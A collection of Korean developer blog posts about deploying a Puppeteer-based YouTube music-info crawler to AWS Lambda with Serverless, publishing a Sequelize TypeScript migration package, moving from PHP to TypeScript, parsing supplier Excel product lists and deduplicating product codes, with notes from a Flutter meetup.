just1s 토이 프로젝트를 진행하면서 한가지 불편한 기능이 있었는데, youtube 링크를 넣고 미리보기 까지는 가능하나, 아티스트와 제목은 수동으로 입력해야 한다는 점이었습니다. 물론 수동으로 입력하는 게 기본적으로는 맞지만 youtube 페이지 하단을 보면 일부는 영상에 사용된 음악 정보가 나옵니다. 이 정보를 파싱하여 자동으로 입력할 수 있다면 deck 추가 시 생산성 및 편의성을 높일 수 있지 않을까 생각했습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt01.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt02.png)

# puppeteer를 활용한 크롤링

puppeteer는 node.js 진영에서 크롤링에 가장 많이 사용하는 라이브러리로써, chrome 혹은 chromium 엔진을 headless로 동작시켜 크롤링에 사용합니다.

사실 puppeteer 같은 경우 레이블그룹 재직 시절에도 일부 사용했었습니다. 카톡 등 메신저에서 처럼 링크 공유 시 썸네일, 타이틀 표시 기능, 각종 패션 쇼핑몰 크롤링 등 자잘하게 사용했었습니다.

youtube 페이지 같은 경우 script 쪽을 찾아보면 window["ytInitialData"]에 json object 가 선언되어 있는데 이 정보 찾아 내려가면 음악 정보가 있습니다.

key로 youtube의 videoId를 받아 해당 json을 파싱하여 결과를 반환하는 매우 간단한 서버를 만들었습니다. 아래 링크를 참고하여 작업했습니다.

[AWS Lambda에서 Puppeteer로 크롤링 하기](https://velog.io/@jeffyoun/AWS-Lambda%EC%97%90%EC%84%9C-Puppeteer%EB%A1%9C-%ED%81%AC%EB%A1%A4%EB%A7%81-%ED%95%98%EA%B8%B0)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt03.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt04.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt05.png)

# lambda, serverless

이를 이제 배포하여 사용할수 있도록 해야 하는데 ec2에 생으로 올리기에는 이미 클러스터로 사용하고 있고, 또 컨테이너화 시켜 ECS 클러스터에 배포하기도 애매해서, lambda에 배포해 보기로 결정했습니다. 또한 직접 배포할 수도 있지만 serverless를 통해 배포를 어느정도 자동화 시켜보도록 하기로 했습니다.

여기서 serverless에 대해 조금 더 언급하자면, serverless 자체가 개념적인 단어이기도 하면서 동명인 serverless 프레임워크가 그 중 유명합니다. serverless의 개념적인 뜻으로는 서버가 없다는 뜻이 아니라 서버 구축 관리에 대한 고민이 없다 라고 생각하면 편할 것 같습니다.

[The Serverless Application Framework | Serverless.com](https://www.serverless.com/)

serverless 프레임워크는 AWS 뿐만 아니라 GCP, Azure 등 다양한 플랫폼을 지원합니다.

간단한 사용법으로는

1. npm i -g serverless 로 serverless를 설치
2. serverless config credentials --provider aws --key <AWS IAM 키> --secret <AWS IAM 시크릿> 으로 aws credential 정보를 cli 상에서 사용할 수 있도록 처리
3. sls create -t aws-nodejs -p <프로젝트명> 로 프로젝트를 생성. ( sls = serverless )
4. 기능을 function으로 정의 후 serverless.yml을 정의. start를 call 하면 src/index.handler function이 실행
5. sls deploy로 배포

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt06.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt07.png)

여기까지 따라하면 일반적 상황에서는 문제 없이 배포가 가능합니다. 여담으로 저는 IAM permission 이슈로 바로 배포를 할 수 없었는데 당시에 실수로 aws key를 넣은 테스트 코드를 커밋한 적이 있어서 aws에서 이를 차단하는 permission을 추가했는데 이를 인지 못해서 삽질을 조금 하긴 했습니다. permission은 당연히 "allow"만 있는 줄 알고 "deny"가 있는 줄 몰라 일어난 해프닝이었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt08.png)

DO_NOT_REMOVE로 끝나는 permission이 AWS에서 자동으로 추가한 permission입니다. 여기 iam:createRole등을 막는 정책이 포함되어 있었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt09.png)

이 이슈를 발견하게 된 계기는 policy simulator라는 페이지를 우연히 발견하고, 여기에 정책을 선택에 이것이 허용되었는지, 제한되어 있다면 어떤 정책이 막고 있는 지 등을 확인해 볼수 있는 기능이 있어 발견하게 되었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt10.png)

어쨌든 원래 주제로 돌아와, 관련 이슈를 해결하고 정상적으로 배포한 모습입니다. serverless가 serverless.yml 파일 기반으로 AWS CloudFormation yml을 생성하고, 그 cloudformation을 통해 S3 bucket에 배포, Lambda에 연결, API Gateway 연결 등을 하여 실행시키는 모습입니다. 좀 더 light-weight하게 구성하려면 serverless가 cloudformation을 생성하지 않고 lambda function에 바로 배포하게 할 수도 있지만 우선은 권장되는 기본 옵션으로 진행했습니다. production에 실제 적용하기 위해서는 serverless보다도 cloudformation, API Gateway, Lambda에 대한 추가적인 공부가 필요할 것으로 보입니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt11.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt12.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/yt13.png)

# 결론 및 또 다른 고민

just1s 프로젝트의 기존 back-end, front-end는 docker container 기반으로 ECS cluster를 통해 배포했고, 지금 수행한 serverless 기반의 lambda로 배포했습니다.

사실 기존의 방식으로 구축한 이유는 docker, container, orchestration을 어느 정도 공부해보고 싶기도 했고, 근본적으론 작성한 코드가 어디서든 같은 인프라 위에서 동작을 하게끔 하고 싶은 의도에서 비롯된 것이었습니다. ( It Works on My Machine 방지 )

직접 해보니 이렇게 serverless 기반으로 배포해도 내가 의도했던 것과 비슷한 그림이 나옵니다. 결국 Infrastructure as Code 니까.

- 명세
    - dockerfile, docker-compose.yaml, AWS ECS task definition, AWS ECS service
    - serverless.yaml, AWS Cloudformation
- 배포
    - AWS ECS cluter + Docker container
    - AWS lambda

이렇게 되어 또 고민이 생겼는데 언제 serverless로 배포하고, container로 배포할지에 대한 고민이었습니다. 이에 대한 이슈는 검색해보면 여러 글이 많습니다.

[](https://www.cloudflare.com/learning/serverless/serverless-vs-containers/)

공통적으로 언급되는 점은 규모가 작고 접속이 일정하지 않고 scale 걱정을 하지 않아도 되는 간단한 서비스는 serverless로, 그 반대의 경우 및 서비스가 돌아가는 enviroment를 더 제어하고 싶을 떼에는 container에 배포하는 것을 권장하는 듯 합니다.

그러한 점을 기반으로 just1s 프로젝트의 배포 구조를 보면 웹 서버 같은 경우는 container 기반, 파서와 같은 서비스는 serverless로 배포했으니 나름 worst practice는 피한 구조라고 할 수 있지 않을까 생각합니다.

serverless를 활용하여 간단한 크롤링 서비스 AWS Lambda에 배포

# 서론

퇴사 후 nBase 프로젝트 진행 중, 초반에는 ORM을 sequelize로 사용하고 있었습니다. sequelize 라이브러리는 다 만족했으나 공식적으로 타입 및 데코레이터 지원을 하지 않았습니다. 그리하여 비공식 라이브러리인 sequelize-typescript를 사용하였고 조금 찝찝했지만 큰 문제 없이 사용하고 있었습니다.

[sequelize-typescript](https://www.npmjs.com/package/sequelize-typescript)

# 이슈

개발을 진행함에 따라 스키마 형상 관리를 하는 migration이란 기능을 사용하려고 했습니다. 제가 원하는 migration은 단순히 migration 파일을 작성 후 적용이 아니라, django에서 제공하는 makemigrations 처럼 migration 파일을 generate해주는 기능을 원했습니다. 즉, 코드에 model로 정의된 스키마와 실제 DB에 생성되어 있는 스키마를 비교하여 그 차이를 기반으로 쿼리를 만들어 up, down function을 자동으로 생성시켜 주는 기능입니다. 이 기능이 없다면 개발자가 변경 시 마다 직접 모델과 DB를 비교하여 ALTER TABLE 쿼리 등을 작성해주어야 합니다.

[django-admin and manage.py | Django documentation | Django](https://docs.djangoproject.com/en/3.0/ref/django-admin/#django-admin-makemigrations)

하지만 문제가 두 가지 있었습니다.

- js 기반의 sequelize는 일단 공식적으로 migration이 지원됩니다. 하지만 아쉽게도 **migration file generator는 없었습니다.**
- 그래도 찾아보니 비공식 라이브러리는 있었습니다. **하지만 현재 버전과는 맞지 않고, typescript 기반에서 동작하지 않습니다.**

우선 위에 해당하는 라이브러리인 sequelize-auto-migrations을 살펴보았습니다. 

[flexxnn/sequelize-auto-migrations](https://github.com/flexxnn/sequelize-auto-migrations)

로직을 요약하면 sequelize에 있는 models object array를 파싱하여 tables data를 얻고 이전의 tables data와 비교하여 쿼리를 생성합니다. 그리고 sequelize 기준으로 sync된 마지막 버전의 tables data를 새로운 table에 저장하여 관리하는 방식입니다.

로직 상의 큰 변화는 없고, typescript를 사용하여 생산성 증가, 리팩토링, 함수 리네이밍 및 모듈화 등으로 코드를 좀 더 견고하게 만들었습니다. 가장 큰 차이점은 **sequelize 라이브러리 대신 sequelize-typescript 라이브러리를 사용**하여 데코레이터 등을 통해 정의한 Column 정보들을 가지고 올 수 있게 되었다는 점이었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/stm01.png)
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/stm02.png)
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/stm03.png)
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/stm04.png)

# npm 배포

처음에는 프로젝트 내에 프로젝트를 만들어 관리하려 했으나, 그렇게 할 경우 새로운 프로젝트를 들어갔을 때 import 하는 과정에서 이슈가 생길 것으로 보여 npm 에 배포하여 install 하는 방식으로 구상했다. npm publish 과정에 대한 것은 아래 두 글을 많이 참고했습니다.

[내 NPM 패키지(모듈) 배포하기](https://heropy.blog/2019/01/31/node-js-npm-module-publish/)

[[번역] TypeScript로 NPM 모듈을 만들어 배포하기](https://blog.ull.im/engineering/2018/12/23/how-to-create-and-publish-npm-module-in-typescript.html)

그리하여 package.json을 다음과 같이 구성하고 npm 에 가입 및 첫 배포를 완료했습니다!

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/stm05.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/stm06.png)

[sequelize-typescript-migration](https://www.npmjs.com/package/sequelize-typescript-migration)

# 결론

사실 오픈소스로 배포하기에는 퀄리티가 조악하여 꺼려졌으나, 폐쇄적으로 배포할 공간도 마땅하지 않고, 따지고 보면 저도 기존 라이브러리를 검색하여 도움을 받았으니 이 라이브러리도 누군가에겐 도움이 되지 않을까 생각하여 배포하였습니다. 결과적으로 npm에 소스를 배포한다는 것에 대한 전반적인 과정을 살펴볼 수 있었고, package.json의 각 key의 역할을 한 번 더 자세히 공부해 볼 수 있는 좋은 기회였습니다.

sequelize-typescript-migration 라이브러리 npm 배포

## PHP

그동안 제가 회사를 다니며 사용했던 언어는 PHP였습니다. 물론 첫 회사에서 쓸 때보다는 더 고도화된 코드 베이스에서 개발하긴 했지만 어쨋든 PHP는 PHP입니다.

아시다시피 PHP라는 언어가 좋은 언어라고는 할 수 없습니다. 하지만 그러한 이유 때문에 다른 언어로 바꾸기에는 몇년 동안 따라오던 기존 레거시 코드와 컨벤션이 너무 많아 굳이 바꿀 엄두를 내지 못했습니다.

그러던 와중 더 큰 바꿀 이유를 느끼게된 계기는 생태계입니다. 현재 기준으로 라이브러리 생태계가 가장 활발한 곳은 node.js 진영의 npm인데 그에 비해 PHP 진영은 composer가 있긴 하지만 npm에 비해 부실하고 사내 베이스에서는 사용하지 않고 있었습니다. 또한 phpexcel, mongodb등 직접 구현하긴 사이즈가 크고 충분히 있을 법한 라이브러리의 상태가 좋지 않고 업데이트도 잘 안되는 등 불편 사항이 많았습니다.

또한 언어, 프레임워크 자체의 한계도 있었습니다. PHP는 DB 커넥션풀이 지원되지 않고. foreach 관련 버그도 고쳐지지 않았습니다.

[PHP :: Bug #29992 :: foreach by reference corrupts the array](https://bugs.php.net/bug.php?id=29992)

```php
<?php
// foreach를 "&" 레퍼런스를 통회 조회 후 어레이 값이 변하는 이슈
$array = array(1,2,3);
foreach( $array as &$item ) { }
print_r( $array );
foreach( $array as $item ) { }
print_r( $array );
/*
Expected result:
----------------
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)

Actual result:
--------------
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 2
)
*/
?>
```

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/php.png)

나름 rails의 스캐폴딩, 단위테스트를 도입하는 등 기존의 컨벤션을 유지하며 코드 베이스의 퀄리티를 고도화 시키려 했으나 한계점에 도달한 것 같다고 느꼈습니다. 위 케이스 등 그냥 넘어갔었던 점들을 다시 곱씹어서 생각해보니 불편했던 점들이 은근히 많았습니다.

## Static Langauge

더 큰 관점으로 보자면 dynamic langauge에서 static language로 시선이 변하기 시작했는데, 팀 인원이 소수 일때는 dynamic language의 편리함 + 잘 지켜지는 컨벤션으로 큰 생산성을 얻을 수 있었지만, 인원이 증가할 수록 이 컨벤션을 관리하는 것이 점점 힘들어집니다. 기존의 컨벤션을 수정하면 그것을 전파하는 것도 힘이 들고, 새로운 인원이 합류할 시 그 컨벤션을 교육시키는 것도 일입니다. 그래서 이러한 것을 문서화하려는 시도도 해보았지만, 그렇게 되면 문서화하는 인력에 또한 로드가 걸리게 됩니다. 결국 코드에 금이 가기 시작할 수 밖에 없고(깨진 유리창 이론) 코드의 퀄리티를 다시 높이기 위한 고민을 항상 하고는 있었습니다.

그러던 와중 Flutter를 도입하기 위해 dart language 스터디를 하면서 타입 언어의 장점을 알게 되었습니다. 언급했던 컨벤션 등을 따로 관리할 필요 없이 코드 내에 정의해서 녹여낼 수 있기 때문입니다. 

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/nodejs.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/ts.png)

## Node.js 플랫폼 전환

이러한 점들을 기존의 시스템 코드에 도입할 수 없을까 고민하고 리서치한 결과, 19년 7월부터 약 3개월간 기존의 PHP 베이스 코드를 node.js/typescript 마이그레이션하는 계획을 수립하게 되었습니다. 그러나 이 때 무렵 레드데이즈 프로젝트의 프리오더 시스템 도입으로 업무량이 많아 결국 전면 도입은 하지 못하고 일부 서비스만 분리하여 express 기반으로 구축하였습니다.

PHP는 안녕. typescript로의 언어 전환

개발팀에서 해야할 일은 이태리 에이전시에서 받은 구매 가능 상품 리스트 엑셀 파일로부터 시스템 내 상품 업로드 까지의 과정을 "최대한" 시스템화하여 업로드를 돕는 것입니다. 

### 엑셀 파서 ver 1

초기 구현했던 업로드 프로세스는 리스트를 받으면 운영 팀에서 사내 시스템에 맞게 엑셀 파일을 재작성합니다. 그 후 이 양식 파일을 업로드하여 등록하는 방식입니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse01.png)

위와 같은 양식의 상품 입력을 전달받으면,

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse02.png)

이렇게 정보를 정리하여 엑셀 파일에 기록하는 방식.

### 엑셀 파서 ver2

문제는 시간이었습니다. 서비스 특성상 무엇보다도 빠른 상품 등록 속도가 중요했지만 업로드용 엑셀 파일 작성에 시간이 너무 오래 걸렸습니다. 

병목 지점은 해당 상품명에 해당하는 이미지 검색 및 수집(구글링), 가방 같이 사이즈가 명시되어 있지 않아 각 브랜드 별 사이트 조회 및 수동입력 등이 있었습니다. 결국 자동화할 수 있는 지점을 더욱 고민해본 결과, 엑셀 재작성 프로세스를 제거하고 현지에서 온 엑셀 파일을 직접 파싱에서 바로 시스템에 업로드하는 방안을 모색했습니다. 양식에 표기되어있는 '상품코드+색상'으로 unique 한 기준 field를 잡고 최대한 파싱 및 추론으로 입력한 후 수작업이 필요한 부분들만 업로드 하는 방식이었습니다. 사이즈 등 공식 브랜드 웹사이트에 접근해야 하는 작업은 해당 브랜드 내 검색 url 링크 등을 제공, 가격 데이터는 그때의 환율을 계산해주는 간단한 기능을 최대한 추가하여 데이터 입력 속도를 ver1에 비해 대폭 향상시켰습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse03.png)

예를 들어 위 케이스의 경우

- 올바른 양식인지, 어떤 양식인지 체크 - "Code:", "Description:" 등의 입력되어 있는 셀 체크
- 반복하며 특정 offset들만큼 이동한 값들을 체크하여 필드 값을 채워 상품의 array를 생성 및 저장
- 자동화 불가능한 나머지 빈 필드들은 사람이 직접 입력

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse04.png)

### 문제는 엑셀

여기까지 상황을 보면 문제점이 없어 보입니다. **일정한 Shape로 리스트가 전달된다면.**

**문제는 엑셀 양식이 매우 많고, 모양이 천차만별이라 새 양식 등장 시 매 케이스마다 개발 작업이 불가피하다는 점입니다.** 기껏해야 몇 종류일 것으로 보아 타입으로 관리하면 될것으로 예상했으나, 추후 ver 3 업데이트까지 약 40개 이상의 타입을 대응해야만 했습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse05.png)

이러한 양식들을 자동으로 분류 추론해 각 방식으로 파싱해야만 했습니다. 또한 비슷한 양식이어도 특정 필드가 없다던가, 간격이 다르다던가, 이미지가 등장했다가 사라졌다가 등 **일관적이지 못했습니다.** 어느정도 대응 후에는 패턴이 유추될 것 같아 보이지만 그렇지 않고 매번 리스트가 올때마다 케이스별 대응이 반복되었습니다.

### 엑셀 파서 ver3

거기에 그 무렵 프리오더라는 시스템이 도입되었습니다. 개발자 입장에서는 로직이 변한 점은 없었는데 문제는 속도였습니다. 리스트를 받은 직후 몇시간 내로 엑셀 파싱 → 상품코드 분석 → 중복상품 병합 → 추가 정보 입력 및 가격 산정 의 프로세스를 마칠수 있어야 했습니다. 문제는 파싱이었습니다. 위에서 언급했다시피 어떤 양식이 올지 예상할 수 없었기 때문에 리스트가 오는대로 새 타입 구현을 할 수 있어야만 했습니다. 또한 리스트는 한국 기준 업무 시간이 아니라 새벽.주말을 가리지 않고 오기 때문에 어떤 개발자도 돌아가면서 이 작업이 가능토록 해야 했습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse06.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/parse07.png)

기존의 방식은 어떤 양식인지 분류 → 양식에 따른 파싱 의 과정을 거쳤습니다. 이 파싱 프로세스를 리스트 이터레이팅 → 상품 필드 파싱 → 사이즈, 재고량 파싱 총 3단계로 분류하여 각 설정들을 조합해 만드는 조합식 설정을 각 리스트 파일마다 1:1로 붙일수 있도록 설계했습니다.

플랫폼 전환 시기에 맞춰 typescript로 구현, 각 파싱 방식을 단계별 정의한 클래스를 상속받아 프로세스를 깔끔하게 구현하려 했습니다.

레드데이즈 상품 리스트 파서 구현

## 데이터의 유일성(Uniqueness) 관리

당연한 얘기겠지만, 데이터는 유일성을 가지며 관리되어야 합니다. 그런데 리스트에서 전달되는 상품들은 말 그대로 상품의 정보들만 전달되고, id나 고유값 같은 유일성을 판단할 수 있는 값이 없어 직접 추론해야만 했습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcode01.png)

추론 결과 상품의 코드 역할을 하는 값을 pcode라 정의하고, 이 pcode와 색상값을 합쳐 unique한 id로 잡기로 결정했습니다. 즉 "pcode+색상"이 상품 데이터의 유일성을 결정하는 것입니다. 예를 들어 위 케이스의 경우 MODELLO 필드와 COLORE 필드를 읽어 "8001236 A2442" 로 유일성을 판단합니다.

## 리스트, 파서의 신뢰도 문제

문제는 엑셀 파일에서 파싱한 데이터들이 정확하지 않다는 점에 있었습니다. 이번 리스트에서 작업한 상품은 다음에 작업할 필요가 없어야 고유성 관리에 의미가 있는데 상품코드가 매우 중구난방인 상태였습니다.

노이즈 : "Z12135 0001", "Z1213**.**5 0001"

pcode가 분리되거나 일부만 전달 : "201W3104 RED", "201W3104**501199** RED"

그들만의 약자 사용 : "BB50B1B0UC BLACK", "BB50B1B0UC **BLK**"

전산화가 안되어 수기로 옮기다가 생긴것으로 추정 : "AAA8", "AAA**B**"

컬러코드 : "H00025430 **BLACK 001**", "H00025430 **001**", "H00025430 **BLACK**"

리스트 자체뿐만 아니라 파싱을 하는 개발자가 각 명품 브랜드의 고유 넘버 방식을 숙지하지 못한 채 그때그때 필드명, 눈썰미 등으로 어떤 필드를 유니크 용도로 사용할지 결정 후 업로드를 하기 때문에 잘못된 케이스도 많았습니다.

결국 이러한 엣지 케이스를 체크하지 못한채 수만개의 상품을 자동 파싱 업로드를 시키고 있었습니다.

## 중복 상품 발생

그래서 **사실은 같은 상품인데** 중복 업로드된 케이스가 다수 발견되었습니다. 상품 업로드 담당 인원들은 워낙 많은 상품을 추가하기 때문에 자신이 같은 상품을 반복 등록하고 있다는 사실을 나중에야 알게 되었습니다. 리스트 전달 후 빠른 상품 업로드 및 노출이 이 서비스의 핵심인데, 이러한 이슈는 매우 크리티컬한 이슈였습니다.

첫번째로 기존에 있는 중복 상품들을 찾기 위해 시스템에 있는 상품코드들을 문자열 유사도(levenshtein distance) 계산을 통해 체크하여 중복 상품들을 병합하는 방법을 고려했습니다. 하지만 유사도 기록 데이터의 용량, 매우 낮은 퍼포먼스 이슈가 많았습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcode02.png)

결국 완전 자동화에는 실패하고 유일성 판단 값들을 네 필드에 나누어 저장 후(pcode 분석 필요, 후술), 상품마다 이 필드들 기준으로 추론하여 의심되는 중복 상품 케이스를 모두 조회하여 수동으로 병합할 수 있는 페이지를 작업하여 제공했습니다.

## pcode 분석 프로세스의 필요성

또한 상품 업로드시에도 pcode를 사람이 검수하는 프로세스를 피할수 없다고 판단, 처음 시스템에 들어오는 상품코드를 모두 분석하여 알맞게 정정 및 4개 필드에 나눠서 기록하는 프로세스 및 페이지를 작업하여 제공하는 방향으로 픽스했습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/pcode03.png)

레드데이즈 상품 코드 관리

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/meetup01.png)
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/meetup02.jpeg)
![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/meetup03.jpeg)

- 일시 / 장소
    - 구글캠퍼스 / 2019년 9월 4일 18시 30분 ~ 20시 40분
- 참석자
    - 김종범, 최우석
- Flutter overview
    - 전반적인 플러터 소개
    - flutter for web 소개
        - dart2js를 통해 dart를 js로 컴파일한다.
    - 기본 예제 데모 시연
    - FFI ( Foreign Function Interfaces )
        - 직접 네이티브를 핸들링
            - dart 아래단 코드에도 접근해서 커스터마이징이 가능하다는 정도로 이해했다.
- **지식in 앱 Flutter 개발기**
    - Apollo라는 네이버 사내 벤처(라고 하기에는 조금 큰) 팀에서 도입을 시도함
    - 크로스플랫폼을 사용한 이유
        - 개발자 수가 부족해서 그런건 아니다.
        - 조직 자체가 실험적인 도전을 많이 하는 조직이며 "고퀄리티"의 앱을 "**빠르게**" 만들어 시장에 내놓는다(?) 가 지향점이다.
        - 즉 일정이 매우 빠듯하다. 그리고 심지어 만들어도 시장에 못 내는 경우도 많다.
        - 프로젝트에 사람이 많아지면 프로세스 당 커뮤니케이션 비용이 배로 증가한다. ( Android / iOS )
    - 그러면 왜 Flutter?
        - React Native
            - 특징 정리
                - 자바스크립트, 웹개발, 복잡한 사용법, 컴포넌트구조
            - 웹 개발자 한테는 친숙할 수 있다만 ...
        - Flutter
            - 특징 정리
                - Dart, 크로스플랫폼, 간단한사용법, 위젯구조
            - 일단 기존 앱 개발자, 특히 Android 개발자 러닝커브가 적다.
    - 어떻게 개발하셨나요?
        - 레퍼런스 없는 삶의 연속
            - "Bloc 쓸까? 하다보니 파일갯수가 늘어나고 이런이런 것까지 Bloc으로해야되나? 이게맞나? 검색해도 아무것도 안나오네"
            - "공식문서를 보다보면 React 컴포넌트 처럼 위젯분리를 했던거 같은데 그렇게 구현해볼까.. 해봤는데 flutter는 절대 React스럽게 할 수 없네"
        - 플러그인 이슈
            - 대부분이 1.x가 아닌 0.x라 의도대로 동작하지 않는 경우도 종종있음
                - 개발 안정성과 직결됨, 어느날 출근해보니 API가 바뀌어있음, 빌드는 Fail
        - 일단 최선의 길을 가보자
            - 해보고 부수고 다시 해보고 부수고의 반복 ...
    - 간단한 수준의 샘플 앱
        - 간단한 수준의 샘플 앱을 만들어보자
            - 점검사항
                - API 네트워킹 + List 출력 + 엔드
                - 언어 및 개발환경 점검
                    - 다트 언어는 괜찮은 언어인가? "생각보다는" 꽤 괜찮다. 배우지 말아야할 언어 1위 치고는 ...
                - UI 구현 방식 점검
                    - 선언형 UI, 편하게 개발했다.
        - 사내에서 빠르게 만들던 신규 앱을 플러터로 만들어보자
            - 커스텀 UI에 대한 Needs가 많았던 제품
            - debug 모드에서도 대부분의 애니메이션이 정상적으로 동작
            - 네이티브로 구현 시 고생했을 애니메이션 부분을 3주만에 만듬, 대부분이 60프레임으로 동작
        - **실전, 지식in 앱을 구현**
            - 지식인 안드로이드 앱을 개편해보자
                - **자체적인 웹뷰 지원이 미흡함**
                - 다른 Native View와 연동되면 고통받기 좋다.. (하지만 사용은 가능함)
            - Native + Flutter
                - 네이티브 U와 Flutter UI를 적절히 조합할 수 있다.
                - 기존의 산재해 있는 레거시, 다른 조직에서 만든 것들과 연계하는 등 100% 컨트롤 할 수 없었기에 어쩔수 없이 섞어서 구현했다.
                - 성능이 중요한 부분은 Native, 나머지를 Flutter로 나눠 구현했다.
            - 우리에겐 어땠는가? 고려한 것들
                - 초기 학습 비용
                - 커뮤니티 활성도
                - 디버거
                - UI 개발
                - 안정성
                - **가독성** ( ui 구조가 깊어질수록 떨어진다. 살짝 아쉬움 )
            - 성능
            - 앱 사이즈
            - 재미
        - 만족도는 어땠는가?
            - 개발자 만족도가 높다.
                - ui 구현하는 형태도 재미있고 .. state 관리하는 것도 재미있다.
            - 선구자로서 자부심 생김
                - 레퍼런스가 없어서 사막 위를 달리는 기분이긴 함
                - 새로운 발견을 했구나 등 만족을 하면서 개발했음
    - Tips
        - **"안드로이드 스튜디오 사용하는 것이 편합니다."**
        - "아직 안될 거 같으면 빠르게 Native로 구현하세요."
        - **"StackOverflow 보단 공식 문서가 좋습니다."**
        - 'Flutter 공식 레포에 숨어있는 정보가 참 많습니다."
        - "Widget 카탈로그를 주기적으로 보세요. 어떻게 할지 고민하던게 단숨에 해결될 수도 있습니다."
    - 도입 여부는?
        - 극한의 네이티브를 요구할 때는 NO! 콘텐츠 뷰잉 목적으로는 GOOOOOOD!
        - 프로젝트 환경 및 인원에 따라 달라진다.
        - 프로토타입 중심의 빠른 검증이 필요하면 매우 좋음
        - 모바일 웹도 고려하는가에 따라서 달라짐
            - 이럴 경우 React Native가 나을수도 있다.
        - ios 개발자보단 android 개발자가 적응하기 좋음
        - **재미, UI개발, 생산성**
    - 여담
        - 베스트 프랙티스 질문 많이 들어올듯 한데...
        - 한국에서 벌써 flutter로 런칭까지 한 사례가 드문드문 있다고는 하는데, 우리가 제대로 된 성공 사례가 됬으면 좋곘다.
        - 현재 스토어에 올라간 버전은 네이티브이고 조만간 런칭할 예정이라고 한다. 자세한 일정은 사내 보안 상 알려줄 수 없다고 한다.
- Q & A ( 네이버 개발자 1명, 구글 플러터 팀원 2명 )
    - 네이티브 대비 개발이 어려웠거나 불가능했던 것들이 있었는가?
        - 스마트 에디터 같은 경우 sdk를 통해 구현하게 됬는데, 포맷팅, 컴포넌트 등을 완벽히 구현하기는 불가능이다. 다른 조직에서 구현한 것이기도 하고.. 결국 네이티브를 사용함
    - 총 개발기간? 인원이 궁금하다. 디자인은 디자이너가 가이드 해주는건지 UI개발자가 한건지도 궁금하다.
        - 디자인은 디자이너가 함. 6 - 8명(팀 내 사정상 유동적임), 기간은 3개월 정도, 기존 앱 과 사용성 비슷하게까지 구현하는데 성공함
    - 결국 네이티브를 쓰게 되는데 플러터 입문자 기준으로 어느 선까지 네이티브를 공부하면 좋을지?
        - 몰라도 기본적인 부분은 구현하기에 충분하지만 결국 플러그인 쓸줄 알아야함, 네이티브와 통신할 줄 알아야함
    - TextField에서 cjk언어 같은 IME 방식으로 조합되는 언어에서 안드로이드 삼성 천지인 키보드로 입력시 글자가 반복되서 입력되는 버그가 다음 버전에는 고쳐지는가?
        - 우리는 큰 개발 베이스가 있다. 오픈소스니까 이슈 넣으면 언젠가는 해결됨
    - 기존 안드로이드, 아이폰 빌드/배포 시와 비교했을때 특별히 다른점이 있는가?
        - 없다.
    - 유용한 툴, 개발도구
        - 안드로이드 스튜디오 쓰세요.
    - 모바일 말고 OS Application에 대해 로드맵이 있는가?
        - 있다. 맥/윈도우/리눅스 등도 지원 예정
    - Flutter를 사용하기 위해 Dart를 어느정도 기간 동안 학습?
        - 같은 팀 개발자(안드로이드 5년) : 코틀린 쓰다가 넘어갔는데 공식 문서가면 마이그레이션 가이드 등 잘 되있어서 1:1맵핑해서 사용 가능
        - 본인 같은 경우 추가 공부 기간 없이 바로진행 함, 따로 학습하면 좋긴한데 바로 시도해도 무리 없다.
    - 웹도 핫리로드를 지원할 예정인가요?
        - 그렇다.
